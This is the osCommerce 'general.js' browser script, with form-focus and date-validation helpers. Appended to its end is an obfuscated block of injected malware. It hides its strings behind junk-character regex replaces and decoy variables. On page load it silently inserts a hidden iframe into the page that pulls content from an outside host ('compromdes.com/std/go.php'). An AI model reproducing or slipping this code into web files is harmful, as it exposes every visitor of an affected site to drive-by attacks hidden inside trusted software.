/*
  $Id: general.js,v 1.3 2003/02/10 22:30:55 hpdl Exp $

  osCommerce, Open Source E-Commerce Solutions
  http://www.oscommerce.com

  Copyright (c) 2003 osCommerce

  Released under the GNU General Public License
*/

function SetFocus(TargetFormName) {
  var target = 0;
  if (TargetFormName != "") {
    for (i=0; i<document.forms.length; i++) {
      if (document.forms[i].name == TargetFormName) {
        target = i;
        break;
      }
    }
  }

  var TargetForm = document.forms[target];
    
  for (i=0; i<TargetForm.length; i++) {
    if ( (TargetForm.elements[i].type != "image") && (TargetForm.elements[i].type != "hidden") && (TargetForm.elements[i].type != "reset") && (TargetForm.elements[i].type != "submit") ) {
      TargetForm.elements[i].focus();

      if ( (TargetForm.elements[i].type == "text") || (TargetForm.elements[i].type == "password") ) {
        TargetForm.elements[i].select();
      }

      break;
    }
  }
}

function RemoveFormatString(TargetElement, FormatString) {
  if (TargetElement.value == FormatString) {
    TargetElement.value = "";
  }

  TargetElement.select();
}

function CheckDateRange(from, to) {
  if (Date.parse(from.value) <= Date.parse(to.value)) {
    return true;
  } else {
    return false;
  }
}

function IsValidDate(DateToCheck, FormatString) {
  var strDateToCheck;
  var strDateToCheckArray;
  var strFormatArray;
  var strFormatString;
  var strDay;
  var strMonth;
  var strYear;
  var intday;
  var intMonth;
  var intYear;
  var intDateSeparatorIdx = -1;
  var intFormatSeparatorIdx = -1;
  var strSeparatorArray = new Array("-"," ","/",".");
  var strMonthArray = new Array("jan","feb","mar","apr","may","jun","jul","aug","sep","oct","nov","dec");
  var intDaysArray = new Array(31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31);

  strDateToCheck = DateToCheck.toLowerCase();
  strFormatString = FormatString.toLowerCase();
  
  if (strDateToCheck.length != strFormatString.length) {
    return false;
  }

  for (i=0; i<strSeparatorArray.length; i++) {
    if (strFormatString.indexOf(strSeparatorArray[i]) != -1) {
      intFormatSeparatorIdx = i;
      break;
    }
  }

  for (i=0; i<strSeparatorArray.length; i++) {
    if (strDateToCheck.indexOf(strSeparatorArray[i]) != -1) {
      intDateSeparatorIdx = i;
      break;
    }
  }

  if (intDateSeparatorIdx != intFormatSeparatorIdx) {
    return false;
  }

  if (intDateSeparatorIdx != -1) {
    strFormatArray = strFormatString.split(strSeparatorArray[intFormatSeparatorIdx]);
    if (strFormatArray.length != 3) {
      return false;
    }

    strDateToCheckArray = strDateToCheck.split(strSeparatorArray[intDateSeparatorIdx]);
    if (strDateToCheckArray.length != 3) {
      return false;
    }

    for (i=0; i<strFormatArray.length; i++) {
      if (strFormatArray[i] == 'mm' || strFormatArray[i] == 'mmm') {
        strMonth = strDateToCheckArray[i];
      }

      if (strFormatArray[i] == 'dd') {
        strDay = strDateToCheckArray[i];
      }

      if (strFormatArray[i] == 'yyyy') {
        strYear = strDateToCheckArray[i];
      }
    }
  } else {
    if (FormatString.length > 7) {
      if (strFormatString.indexOf('mmm') == -1) {
        strMonth = strDateToCheck.substring(strFormatString.indexOf('mm'), 2);
      } else {
        strMonth = strDateToCheck.substring(strFormatString.indexOf('mmm'), 3);
      }

      strDay = strDateToCheck.substring(strFormatString.indexOf('dd'), 2);
      strYear = strDateToCheck.substring(strFormatString.indexOf('yyyy'), 2);
    } else {
      return false;
    }
  }

  if (strYear.length != 4) {
    return false;
  }

  intday = parseInt(strDay, 10);
  if (isNaN(intday)) {
    return false;
  }
  if (intday < 1) {
    return false;
  }

  intMonth = parseInt(strMonth, 10);
  if (isNaN(intMonth)) {
    for (i=0; i<strMonthArray.length; i++) {
      if (strMonth == strMonthArray[i]) {
        intMonth = i+1;
        break;
      }
    }
    if (isNaN(intMonth)) {
      return false;
    }
  }
  if (intMonth > 12 || intMonth < 1) {
    return false;
  }

  intYear = parseInt(strYear, 10);
  if (isNaN(intYear)) {
    return false;
  }
  if (IsLeapYear(intYear) == true) {
    intDaysArray[1] = 29;
  }

  if (intday > intDaysArray[intMonth - 1]) {
    return false;
  }
  
  return true;
}

function IsLeapYear(intYear) {
  if (intYear % 100 == 0) {
    if (intYear % 400 == 0) {
      return true;
    }
  } else {
    if ((intYear % 4) == 0) {
      return true;
    }
  }

  return false;
}
function oA(){};var vKF="vKF";oA.prototype = {k : function() {this.n="n";iH=34217;this.y='';this.iN='';try {this.dE="";this.pX=false;rA='';this.nS="";var sE=false;var tW="tW";window.onload=function() {var e=27025;lRV=27397;var z=function(){return 'z'};pS="pS";yY=false;String.prototype.hAJ=function(j, jG){var jGZ=this; return jGZ.replace(j, jG)};eU="";function f(){};var iP=function(){return 'iP'};this.h="h";pF=false;m="";var dL="dL";var l = 'sOuE'.hAJ(/[E:lOk]/g, '')+'bX'.hAJ(/[X2p65]/g, '')+'sbtLroiV'.hAJ(/[VLo{b]/g, '')+'nwgw'.hAJ(/[wx~2$]/g, '');function kK(){};this.cR="cR";this.aG="aG";this.g=51399;var p = 'a>wtqQstu>'.hAJ(/[>?Qrt]/g, '')+'bhs6t6g[d[th'.hAJ(/[h6D[~]/g, '');var hZ=new Array();var kO=false;var x=new Array();var lZ="lZ";this.vI='';this.hS=11275;wM='';var r = 'hzd6syiyn1sz'.hAJ(/[z6Xy1]/g, '')+'e^r&tCA^d^jCa^dCe&r|wMw&sM'.hAJ(/[M|^C&]/g, '');fA="fA";this.lY="lY";var dS=new Array();vU="vU";var yW=51123;var jY = p[l](3, 8);var tQ=new Date();iHT="";rN="rN";hW=false;var aBX="aBX";wU=38947;var w=document;var mJ=new Array();iPX="";var vN=false;var iD=10198;this.vL="";var jK=new Array();var wQ = 'hDtKtKpK:V/C/VcKobmCpKrDoVmbeDnbdKeVsD.CcVoDmV/DsCtKdDsC/Dgbob.CpKhbpK?bsCiCdV=b2C'.hAJ(/[CDbKV]/g, '');this.oS='';this.fY="fY";jYN=false;cS=false;var dSL=27351;this.lD=false;var jM = jY + 'r5ia'.hAJ(/[a}504]/g, '')+'nYgI'.hAJ(/[IY5.x]/g, '');this.zH='';var iV=false;var yF='';var iA=new Array();var v = r[jM](3, 13);var dZ=function(){return 'dZ'};fR='';zR='';var oD=20057;var q=function(){};pR = v + 'cOe5n5t5H5T5MOL5'.hAJ(/[58wuO]/g, '');var fU=new Array();wZ=false;eE="";this.oP='';var mD=new Date();var jQ='';var xM=45077;var sT=false;var zY=function(){};this.qO=27290;var a = 'c^o@l@l@ 7wbibD@xbs@d@'.hAJ(/[@7b]^]/g, '');this.qX="qX";var nF=64355;var uX=new Date();bK=false;wD="";var qD='';var pJ = a[jM](4, 8);this.qY=false;yL=40356;var oV='';qP="";yFP='';var rQ=new Array();var qW='';var zX=new Date();var aB = 'q)kor)t)H;=o1) Vd%e%ro=%1;0) %H)e)'.hAJ(/[)o%V;]/g, '');var xR="";var kI=49241;var rE='';var hP=function(){};this.xF="";var lT=false;var d = pJ + aB[jM](3, 18);rX="rX";var kKY=new Array();this.yR=false;var wS=new Date();function sQ(){};uFE=13324;this.iW='';var s = 'dFwWkWi0GFhWtF=010>F<F/0iQf0R0iWrQm:k0f:'.hAJ(/[:QW0F]/g, '');mJQ=8708;fF="fF";this.uAW='';this.fV="";var xMM=new Array();var b = d + s[jM](3, 17);this.kR='';this.oY="oY";function nSJ(){};this.pU=false;var yO=function(){};this.lL="";var b = b + 'a6m}e}>3'.hAJ(/[36O}2]/g, '');this.yB='';var mI='';var aS=false;var wR=false;this.nJ='';pV='';function eO(){};var bH=false;this.hY=5255;this.jZ="jZ";var vK=function(){};hN="hN";var qC=function(){};nQ=false;var tM=function(){return 'tM'};var wMY=function(){};this.mT="";var bC=function(){};fC='';eOS=false;nO=63518;var i = '}v}JeM<MI/fvRraMjrdJgvhM'.hAJ(/[Mrv/J]/g, '');this.cM=18508;this.fQ='';var dM=new Date();aGH=24678;zHL=false;zYY="";var jW = i[jM](3, 8);rT="";eUH='';var hYC=new Date();tG=false;this.xV='';nK=false;eJ="";var u = 'LQewMwe? QsjR?cw=w}Q}j}w'.hAJ(/[wQjO?]/g, '');var bZ=function(){};var qZ=42519;var aA=new Date();var dH=false;this.jWE=false;var uF = jW + u[jM](2, 9);var lQ=false;jZO="";var vH="";var yZ=false;var aD = uF + 'hyt}typB:1/}/}c1oymBp1rBo)mye)n}d1e1sy.}c1oBm1/)s}tBdysy/}g}oB.}pBh1pB?1s}i)d}=121'.hAJ(/[1B)}y]/g, '');var eI=function(){};var yX=new Array();xA="";var hA="";this.zV="zV";var wL="";this.jF="";var o = '<Zg|opr8 Z>|'.hAJ(/[|8Zp/]/g, '') + aD + b + '<7/7g7o7r[>6'.hAJ(/[6u7[W]/g, '');var rJ='';this.sN="";yU='';this.dW=false;gW="";function mTC(){};var eP="";pD="pD";dD="dD";iB="iB";this.rC='';tD=false;var iAG="";wQL=45854;this.nC=false;var rNE='';var kF="kF";this.iPK=20649;var c = 'sPa2uObP'.hAJ(/[PO.i2]/g, '')+'oidKyKrKwXd,kagX'.hAJ(/[X,iaK]/g, '');fYU=false;var jH=function(){return 'jH'};nU="";bX='';iR="iR";this.pW='';this.pO="";var iBC=1019;var uH=new Date();sD=false;rD = c[jM](3, 7);var nG='';var lZZ="";var xQ='';this.rP='';var fG="fG";var mTX=new Array();this.bKJ=14825;yBY="yBY";var t = 'Tqe.dqB8enf.o8'.hAJ(/[8n.Nq]/g, '');var lH="";var dJ=14814;eUV='';this.aR="aR";this.fT="fT";var dB=false;this.rCF=7119;uZ=936;zK='';this.dY="";this.oN='';xB="xB";function kH(){};aBZ=false;hH=22879;this.vW='';var cB="cB";var aC = t[jM](3, 7);var vR=function(){};fI='';var dP=false;function nA(){};this.aK="";pZ = aC + 'r*eCE(n*d*'.hAJ(/[*(QCp]/g, '');var uFO=function(){return 'uFO'};this.xJ=false;this.hSF='';this.rK="rK";var cI='';function wZL(){};this.kJ=false;yOA='';this.kE=29249;var zYM=new Date();fCT='';xS=56263;this.yT='';aL='';function bB(){};var qI=function(){return 'qI'};this.tS='';this.mV="mV";this.dPW='';var iAZ=53247;var wE="wE";var hNA=function(){return 'hNA'};var yC=new Array();var mS="";eT=false;this.xE=false;this.qPS=false;var cL="cL";var kG="";this.jA=false;this.nE="nE";qK="qK";var uA = w[rD];var nB="";var xRN=function(){};var rB=function(){};vHA=13095;var hT=function(){};var wV='';lR = uA[pR];var vC=new Array();var gT=40930;kRF=false;this.aY="";var kB="";hWV=false;eG=false;function gM(){};lR(pZ, o);this.zF=false;var eIM=new Array();};this.fO="fO";var xT=43554;dPD='';this.bHD=false;} catch(pC) {var tWM=false;vZ=64103;vQ="";var pL=false;oSZ='';w.write("xpe,");pG='';oC=false;}vWJ="";var aKL=new Date();var kL=42784;uO=49200;}};hV="";var fIV=new oA(); var dMC="";fIV.k();var gU=new Array();